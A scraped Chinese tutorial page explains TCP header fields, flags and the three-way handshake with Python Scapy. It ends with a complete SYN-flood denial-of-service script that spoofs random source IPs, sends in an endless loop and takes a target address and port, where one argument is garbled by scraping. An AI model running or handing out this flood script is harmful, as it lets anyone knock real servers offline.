我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Python Scapy TCP

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Python Scapy TCP

TCP提供一种面向连接的、可靠的字节流服务。

面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据之前必须先建立一个TCP连接。

在一个TCP连接中,仅有两方进行彼此通信。广播和多播不能用于TCP。


TCP通过下列方式来提供可靠性:

应用数据被分割成TCP认为最合适发送的数据块。

当TCP发出一个段后,它启动一个定时器,等待目的端确认收到这个报文段。如果不能及时收到一个确认,将重发这个报文段。

当TCP收到发自TCP连接另一端的数据,它将发送一个确认。这个确认不是立即发送,通常将推迟几分之一秒。

TCP将保持它首部和数据的检验和。

既然TCP报文段作为IP数据报来传输,而IP数据报的到达可能会失序,因此TCP报文段的到达也可能会失序,如果必要,TCP将对收到的数据进行重新排序,将收到的数据以正确的顺序交给应用层。

既然IP数据报会发生重复,TCP的接收端必须丢弃重复的数据。

TCP还能提供流量控制。TCP连接的每一方都有固定大小的缓冲空间。

TCP的接收端只允许另一端发送接收缓冲区所能接纳的数据。这将防止较快主机致使慢主机的缓冲区溢出。


TCP字节流

两个应用程序通过TCP连接交换8bit字节构成的字节流。TCP不在字节流中插入记录标识符。我们将这称为字节流服务(byte stream service)。如果一方的应用程序先传10字节,又传20字节,再传50字节,连接的另一方将无法了解发方每次发送了多少字节。收方可以分4次接收这80个字节,每次接收20字节。一端将字节流放到TCP连接上,同样的字节流将出现在TCP连接的另一端。

另外,TCP对字节流的内容不作任何解释。TCP不知道传输的数据字节流是二进制数据,还是ASCII字符、EBCDIC字符或者其他类型数据。对字节流的解释由TCP连接双方的应用层解释。


9000941ad1f55465928143abe4a92c7a.png

每个TCP段都包含源端和目的端的端口号,用于寻找发端和收端应用进程。这两个值加上IP首部中的源端IP地址和目的端IP地址唯一确定一个TCP连接。

一个IP地址和一个端口号也称为一个插口(socket)插口对(socketpair)(包含客户IP地址、客户端口号、服务器IP地址和服务器端口号的四元组)可唯一确定互联网络中每个TCP连接的双方。

序号用来标识从TCP发端向TCP收端发送的数据字节流,它表示在这个报文段中的序号对每个字节进行计数。序号是32bit的无序号数,序号到达2的32次方后又从0开始。SYN标志消耗一个序号。FIN标志也要占用一个序号。

确认序号应当是上次已成功收到数据字节序号加1。只有ACK标志为1时确认序号字段才有效。

发送ACK无需任何代价,因为32bit的确认序号字段和ACK标志一样,总是TCP首部的一部分。因此,我们看到一旦一个连接建立起来,这个字段总是被设置,ACK标志也总是被设置为1。

TCP为应用层提供全双工服务。这意味数据能在两个方向上独立地进行传输。因此,连接的每一端必须保持每个方向上的传输数据序号。

TCP可以表述为一个没有选择确认或否认的滑动窗口协议(滑动窗口协议用于数据传输)。我们说TCP缺少选择确认是因为TCP首部中的确认序号表示发方已成功收到字节,但还不包括确认序号所指的字节。当前还无法对数据流中选定的部分进行确认。例如,如果1-1024字节已经成功收到,下一报文段中包含序号从2049-3072的字节,收端并不能确认这个新的报文段。它所能做的就是发回一个确认序号为1025的ACK。它也无法对一个报文段进行否认。例如,如果收到包含1025-2048字节的报文段,但它的检验和错,TCP接收端所能做的就是发回一个确认序号为1025的ACK。

首部长度给出首部中32bit字段的数目。需要这个值是因为任选字段的长度是可变的。这个字段占4bit,因此TCP最多有60字节的首部。然而,没有任选字段,正常的长度是20字节。

在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

  • URG  紧急指针有效

  • ACK  确认序号有效

  • PSH  接收方应该尽快将这个报文段交给应用层

  • RST  重建连接

  • SYN  同步序号用来发起一个连接

  • FIN  发端完成发送任务


TCP是一个面向连接的协议。无论哪一方向另一方发送数据之前,都必须先在双方之间建立一条连接。

这种两端间连接的建立与无连接协议如UDP不同。UDP向另一端发送数据报时,无需任何预先的握手。


TCP用三次握手过程创建一个连接。在连接创建过程中,很多参数要被初始化,例如序号被初始化以保证按序传输和连接的强壮性。

一对终端同时初始化一个它们之间的连接是可能的。但通常是由一端打开一个套接字(socket)然后监听来自另一方的连接,这就是通常所指的被动打开。

服务器端被被动打开以后,用户端就能开始创建主动打开。

  1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三次握手的一部分。客户端把这段连接的序号设定为随机数A。

  2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1,SYN/ACK包本身又有一个随机序号B。

  3. 最后,客户端再发送一个ACK。当服务端收到这个ACK的时候,就完成了三次握手,并进入了连接创建状态。此时包序号被设定为收到的确认号A+1,而响应则为B+1。


9cf5db12e04542d9332402de013b735d.png

9974b0734356aa4448747d471c6b27e0.png


cb5d1ef525d87adf70a687064b55cb01.png20f34bc8678f4f73445b3ec2c37d6ca9.png

cc52f1aafd687e3f9def13e50ae3ba45.png


Socket TCP Server脚本样例:

26290d90ce72dd10c562949909036cf9.png


Scapy可以实现的功能:

1、TCP端口扫描

d43bc86d06fbcd7a7af09a0c419c7578.png

2、防火墙开放端口扫描

0b05954c5b0368988357a7fef132dd3e.png

3、模拟TCP建立与终止

507e7ddc4589509a6f223e83bd2ab710.png

4、制造TCP DOS***

使用随机地址随机端口发起TCP连接

#!/usr/bin/python3.4
# -*- coding=utf-8 -*-

#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP
#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#清除报错
from scapy.all import *

def syn_dos(ip, port, random_enable=True):#定义方法,传入目标IP地址,目标端口号,是否激活随机伪装源IP地址
	if random_enable == True:#如果激活随机伪装源IP地址
		while True:#一直执行直到ctl+c停止程序
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			yi_section = random.randint(1, 254)#随机产生,第一段IP地址
			er_section = random.randint(1, 254)#随机产生,第二段IP地址
			san_section = random.randint(1, 254)#随机产生,第三段IP地址
			si_section = random.randint(1, 254)#随机产生,第四段IP地址
			source_ip = str(yi_section)+'.'+str(er_section)+'.'+str(san_section)+'.'+str(si_section)#组合四段地址
			#发送SYN同步包(不必等待回应)#随机伪装源IP,随机产生源端口和初始化序列号
			send(IP(class="lazy" data-src=source_ip,dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)
	else:#如果不激活随机伪装源IP地址
		while True:
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			#发送SYN同步包(不必等待回应)#随机产生源端口和初始化序列号
			send(IP(dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)

if __name__ == '__main__':
	import optparse#导入选项分析模块
	#配置帮助
	parser = optparse.OptionParser("程序使用方法介绍: -d <目标地址> -p <目标端口> -r <1:激活(默认) 2:不激活>")
	#选项‘-d’,指定目的IP地址
	parser.add_option('-d', dest = 'dst_ip', type = 'string', help = '指定目标地址')
	#选项‘-p’,指定目的端口号
	parser.add_option('-p', dest = 'dst_port', type = 'int', help = '指定目标端口')
	#选项‘-r’,是否激活随机伪装源IP地址
	parser.add_option('-r', dest = 'random', type = 'int', help = '是否激活随机IP')
	#分析参数,得到Options
	(options, args) = parser.parse_args()
	#如果没有指定目的IP,或者没有指定目的端口号,显示帮助信息给客户看!
	if (options.dst_ip == None) or (options.dst_port == None):
		print(parser.usage)
		exit(0)
	else:#如果客户指定了目的地址和目的端口号,为变量赋值!
		destination_ip = options.dst_ip
		destination_port = options.dst_port
	if options.random == 2:#如果客户不激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = False)
	else:#客户激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = True)


免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Python Scapy TCP

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Python Scapy TCP

TCP提供一种面向连接的、可靠的字节流服务。面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据之前必须先建立一个TCP连接。在一个TCP连接中,仅有两方进行彼此通信。广播和多播不能用于TCP。TCP通过下列方式来
2023-01-31

Python Scapy ARP

参考手册:https://fossies.org/dox/scapy-2.3.3/当一台主机把以太网数据帧发送到位于同一个局域网上的另一台主机时,是根据48bit的以太网地址来确定目的接口的。设备驱动程序从不检查IP数据包中的目的IP地址。
2023-01-31

Python Scapy Ping

参考手册:http://phaethon.github.io/scapy/api/usage.html scapy是python的一个库,提供网络协议的构造,请求等scrapy是python的爬虫框架三个层次:1、理解协议2、分析协议3、构
2023-01-31

Python Scapy(2.3.1)文

http://blog.csdn.net/dj1174232716/article/details/44784081Python的Scapy模块能够让用户发送,嗅探,解析并伪造网络数据包。这些能力能用来构建探测,扫描或者攻击网络的工具。换句
2023-01-31

Linux-Python-Scapy的T

TCP 连接扫描:客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放;TCP SYN 扫描(也称为半开放扫描或stealth扫描):这个技术同 TCP 连接扫描非常相似。同样是客户端向服务器发送
2023-01-31

Kali-Python scapy模块-

Kali Python3环境安装scapy模块pip3 install scapy本地网卡网段arp_scan脚本#!/usr/bin/python3import loggingimport subprocesslogging.getLog
2023-01-31

python scapy学习笔记

1. ubuntu下安装gnuplot 转自:http://blog.163.com/gz_ricky/blog/static/182049118201362501316961/2.安装PyX sudo pip install pyx==0
2023-01-31

python 使用scapy创建arpi

以下程序均来自《Python.UNIX和Linux系统管理指南》据说scapy是一个很厉害的东西使用的scapy版本为2.1.0,注意导入包的方式与原书略有差别scapy_arping.py#!/usr/bin/env/pythonfrom
2023-01-31

Python scapy模块个人见解

scapy模块from scapy.all import *    //来自scapy.all文件,导入所有函数python交互模式中:ls(*)*=Ether、IP、ICMP、TCP、UDP、ARP    等等,查看可以配置的参数1.构建
2023-01-31

python scapy的用法之ARP主

python scapy的用法之ARP主机扫描和ARP欺骗 目录:1.scapy介绍2.安装scapy3.scapy常用4.ARP主机扫描5.ARP欺骗一、scapy介绍scapy是一个可用于网络嗅探的非常强大的第三方库。具有以下几个特点:
2023-01-30

python 网络数据包模块:scapy

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络***和测试中。它可以代替hping,arpspoof.ARP SK,arping,p0f,甚至是部分nmap,Tcpdu
2023-01-31

Python使用scapy模块发包收包

前言众所周知,我们每天上网都会有很多数据包需要发送,然后处理在接受在发送,这样一个循环往复的过程这里就显示了很多数据包的发送接收数据,那什么是包呢?下面一起看看 包( packet )是网络通信传输中的数据单位,一般称之为数据包,其主要由源
2022-06-02

Python如何使用scapy模块发包收包

这篇文章给大家分享的是有关Python如何使用scapy模块发包收包的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Python的优点有哪些1、简单易用,与C/C++、Java、C# 等传统语言相比,Python对
2023-06-14

Python 14.2 TCP编程

TCP编程Socket是网络编程的一个抽象概念。通常我们用Socket表示“打开一个网络链接”,而打开一个Socket需要知道目标计算机的IP地址和端口号,再指定协议类型即可。客户端大多数连接都是可靠的TCP连接。创建TCP连接时,主动发起
2023-01-31

Ubuntu中python导入scapy出错如何解决

在Ubuntu中导入Scapy出错可能是由于Scapy模块没有正确安装或Python解释器无法找到Scapy模块。以下是一些解决方法:1. 确保已经正确安装了Scapy模块。可以使用以下命令检查Scapy是否已经安装:```pip list
2023-08-24

Python tcp socket 传送

【测试环境】os:Windows 10 x64Python:3.6.3【server.py】#encoding: utf-8#author: walker#date:  2017-12-01 #summary: 用socket创建tcp s
2023-01-31

如何使用Python中的发包收包利器Scapy

这篇文章将为大家详细讲解有关如何使用Python中的发包收包利器Scapy,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。今天跟大家讲的是Python 用于发送接受网络数据包的模块------
2023-06-15

python记录_day27 tcp/i

## 网络协议按照不同的功能分为多层,目前存在的模型有osi七层模型、tcp/ip五层和tcp/ip四层模型我们主要用的是tcp/ip五层模型那么每层的作用是什么呢,现在就从设计者的角度自下到上逐层分析:#物理层两个设备要想进行数据传输,必
2023-01-30

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录